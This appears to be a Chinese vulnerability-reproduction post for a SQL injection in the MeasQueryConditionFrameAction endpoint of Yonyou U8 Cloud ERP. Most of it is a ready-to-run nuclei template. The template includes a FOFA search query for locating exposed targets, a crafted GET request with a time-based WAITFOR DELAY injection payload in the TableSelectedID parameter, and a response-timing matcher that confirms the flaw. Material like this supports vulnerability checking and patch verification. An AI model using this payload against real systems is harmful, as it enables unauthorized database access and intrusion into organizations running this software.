用友U8Cloud MeasQueryConditionFrameAction存在SQL注入【漏洞复现|附nuclei-POC】

id: yongyou-U8_Cloud-MeasQueryConditionFrameAction-SQLinfo:  name: 用友U8-Cloud系统MeasQueryConditionFrameAction接口处存在SQL注入漏洞  author: kingkong  severity: high  metadata:    fofa-query: app="用友-U8-Cloud"http:  - raw:      - |        GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasQueryConditionFrameAction&method=doCopy&TableSelectedID=1%27);WAITFOR+DELAY+%270:0:3%27--+ HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0        Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2        Accept-Encoding: gzip, deflate        Connection: close        Upgrade-Insecure-Requests: 1    matchers-condition: and    matchers:      - type: dsl        dsl:          - "duration>=3  && duration<=6 && status_code==200"